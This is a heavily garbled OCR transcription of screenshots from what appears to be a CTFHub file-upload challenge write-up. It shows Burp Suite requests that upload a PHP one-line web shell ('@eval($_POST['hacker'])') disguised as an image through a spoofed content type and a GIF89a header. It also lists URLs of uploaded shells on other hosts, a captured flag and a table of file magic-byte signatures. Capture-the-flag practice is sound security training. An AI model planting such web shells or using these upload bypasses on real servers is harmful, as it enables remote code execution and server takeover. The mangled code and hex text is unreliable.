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2 | <html>

3| <head>

4 <{meta charset="UTF-8"

5 <tit1e>CTFHUb SZ%#J:{é ST it led

6| </head>

7 <bodyr

8 <I>CTFHub STHEAE - ST </hl>

9 {form action="" method="post” enctype="multipart/form-data”>
10 <label for="file”>Filename:</label>

1 {input type="file” name="file” 1d="rile” />

12 <br S

13 input type="submit” name="submit” value="Submit” />

14 {fform>

15 {fform>

16 | </body>

17

12| </html>
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Go Cancel

Request

jRawW Params IHeaders W

Target: http://challenge-d33e2beefc6c3634.sandbox.ctfhub.com:10080 / @

Response

JRaw I Headers | Hex | Render ]

Content-Length: 324

Referer:
http://challenge-d33e2beefc6c3634.sandbox.ctfhub.com: 10080/
Connection: close

Upgrade-Insecure-Requests: 1

77777777777777777777777777777 13516741110059
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg

<?php

@eva1($ POST['hacker]);

! ?>

............................. 13516741110059
Content-Disposition: form-data; name="submit"

----------------------------- 13516741110059--

Content-Length: 495

Connection: close

X-Powered-By: PHP/7.3.14

Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

T

<script=alert( 344442 )</ script></DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CTFHub 3 LA - SCfH k4l </title>
</head>
<body>
<h1>CTFHub x4 L4 - 3k kal</h 1>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>




<input type="file" name="file" id="file" />
. <br /> .
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@ EJ B B Type a search term 0 matches ® U l_J l_J Type a search ferm 0 matches

Done 820 bytes | 50 millis
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Burp Project Intruder Repeater Window Help

[Dashboard [Target ] Proxy [ Intruder [RepeaterISequencer [ Decoder ] Comparer [ Extender [Project options [User options

1= 2 ...

Go Cancel < |v > | Target: http://challenge-d33e2beefc6c3634.sandhox.ctfhub.com:10080 / @
Request Response
JRawIParams |Header5 Hex JRawIHeaders Hex Render]
text/htmLapplication/xhtml+xmlapplication/xml:q=0.9,*/*:q=0.8 +  Content-Type: text/html,charset=utf-8 H]
Accept-Language: zh-CN zh;q=0.8,en-US;q=0.5,en:q=0.3 Content-Length: 535
Accept-Encoding: gzip, deflate Connection: close
Content-Type: multipart/form-data; X-Powered-By: PHP/7.3.14
boundary=-—————————— 13516741110059 Vary: Accept-Encoding
Content-Length: 330 Access-Control-Allow-Origin: *
Referer: Access-Control-Allow-Headers: X-Requested-With
http://challenge-d33e2beefc6c3634 sandbox.ctthub.com: 10080/ Access-Control-Allow-Methods: *
Connection: close
Upgrade-Insecure-Requests: 1 <script>alert( LA4F M#))</script>_L4% 448 % 3872 <br>upload/1 ph
p</DOCTYPE htmi>
————————————————————————————— 13516741110059 <html>
Content-Disposition: form-data; name="file"; filename="1.php" <head>
Content-Type: image/jpeg <meta charset="UTF-8">
<title>xCTFHub st A% - SUpE kA8 </ title>

GIF89a </head>
<?php <body>
@eval($_POST[hacker): <h1>CTFHub i’f”ff_’% - i’f—‘# FHM</h1>
7> <form action="" method="post" enctype="multipart/form-data">
............................. 13516741 1 10059 3 <1abe1 for= f]le >F11er1ame </1abe1> L
® EJ B B Type a search term 0 matches ® u l_J l_J Type a search term 0 matches
Done 860 bytes | 43 millis
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Go Cancel | < |v > |v Target: http://challenge-d33e2beefc6c3634.sandbox.ctfhub.com:10080 /@
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex Renderl
zJ g1 JI Jl Ju Ju JJ J9 uu va =J Ul Ut % UJ UT 5 11 UUJTZCUIIEI : Coﬂteﬂt-Type: teXt/html:ChaISet:Utf-S i
26 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f -Disposition: fo Content—Length: 535
27 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 rm-data; name="f Connection: close
28 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 ie"; filename=" X-Powered-By: PHP/7 3.14

Vary: Accept-Encoding

29 31 2¢ 70 68 70 22 0d Oa 43 6f 6e 74 65 6e 74 2d 1.php'Content- Access-Control-Allow-Origin: *
2a 54 79 70 65 3a 20 69 6d 61 67 65 2f 6a 70 65 67 Type:image/jpeg Access-Control-Allow-Headers: X-Requested-With
2b  0d 03 0d 03 47 49 46 38 39 61 Od Oa 3c 3f 70 68 §E§§§<?éh Access-Control-Allow-Methods: *

2c 70 0d Oa 40 65 76 61 6c 28 24 5f 50 4f 53 54 5b p@eval(5_POST[ | . ) . ,
. . <script>alert( LA A&sh)</script>_E A 4 5 #-#2 <br
2
2d 27 68 61 63 6b 65 72 27 5d 29 3b 0d 0Oa 3f 3e 0d ‘hackerl);?> supload/1 php</DOCTYPE html>

2e 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d - <html>
2f 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 33 13 <head>

3 35 31 36 37 34 31 31 31 30 30 35 39 0d Oa 43 6f 516741110059Co |~ <mela charset="UTF-8"> .
; . b
31 6e 74 65 Ge 74 2d 44 69 73 70 6f 73 69 74 69 6f ntent-Dispositio <title>CTFHub A LAY - A okl </title>

</head>
32 Ge 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 n: form-data; na <body>
33 6d 65 3d 22 73 75 62 6d 69 74 22 0d Oa Od Oa 53 me="submit'S <h1>CTFHub iﬁJ:#—iﬁ—*):iﬁfm-k/h 1>
34 75 62 6d 69 74 0d O0a 2d 2d 2d 2d 2d 2d 2d 2d 2d ubMite—m--m—mr <form action=""method="post"
35 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d v enctype="multipart/form-data’> = i
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http://3f0d1b4b.yunyansec.com/u 1.85. EEED © hacker

http://72596003.yunyansec.com/t 1.85. Pt &
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p:// fupload/123.p s

http://139.9.116.47/upload/shell.; 139. .
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1 I<?php // ctfhub{1e33f307a5a87867d3fbad581d7bd52c572elaab}
2
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HTML (html),

Email [thorough only] (eml),
Outlook Express (dbx),
Outlook (pst),

MS Word/Excel (xls.or.doc),
MS Access (mdb),
WordPerfect (wpd),

Adobe Acrobat (pdf),
Quicken (qdf),

Windows Password (pwl),

RAR Archive (rar),
Wave (wav),

AVI (awi),

Real Audio (ram),
Real Media (rm),
MPEG (mpg).

MPEG (mpg),
Quicktime (mov),
Windows Media (asf),
MIDI (mid),

Mi$sk: 68746D6C3E

Wifsk: 44656C69766572792D646174653A
Wit CFAD12FECSFD746F

Wtk 2142444E

Jf$%: DOCF11E0

Mk 5374616E64617264204A

Rk FF575043

s 255044462D312E

RfFk: ACSEBDSF

Witk E3828596

Hfk: 52617221
Rifsk: 57415645
*fFi: 41564920
MfEsk: 2E7261FD
Wi 2E524D46
Xf$5: 000001BA
4 00000183
ftk: 6DGFEF76
Witdk: 3026B2758E66CF11
Witk 4D546864

IPEG (jpg), % FFDBFF wiR: FFD9

PNG (png), Wfsk: BISO4E47 M. AE 42 60 B2
GIF (gif), KfFsk: 47494638 R{%R: 00 38

ZIP Archive (zip), iFik: 504B0304 XHR: 5048

TIFF (tif), Rk 49492400 R

Windows Bitmap (bmp), MfEk: 424D THR:

CAD (dwg). TS 41433130 MR

Adobe Photoshop (psd), RiFk: 38425053 XHR:

Rich Text Format (rtf), Rk 7BSCT27466 TR

XML (xml), s 3C3F786D6EC R
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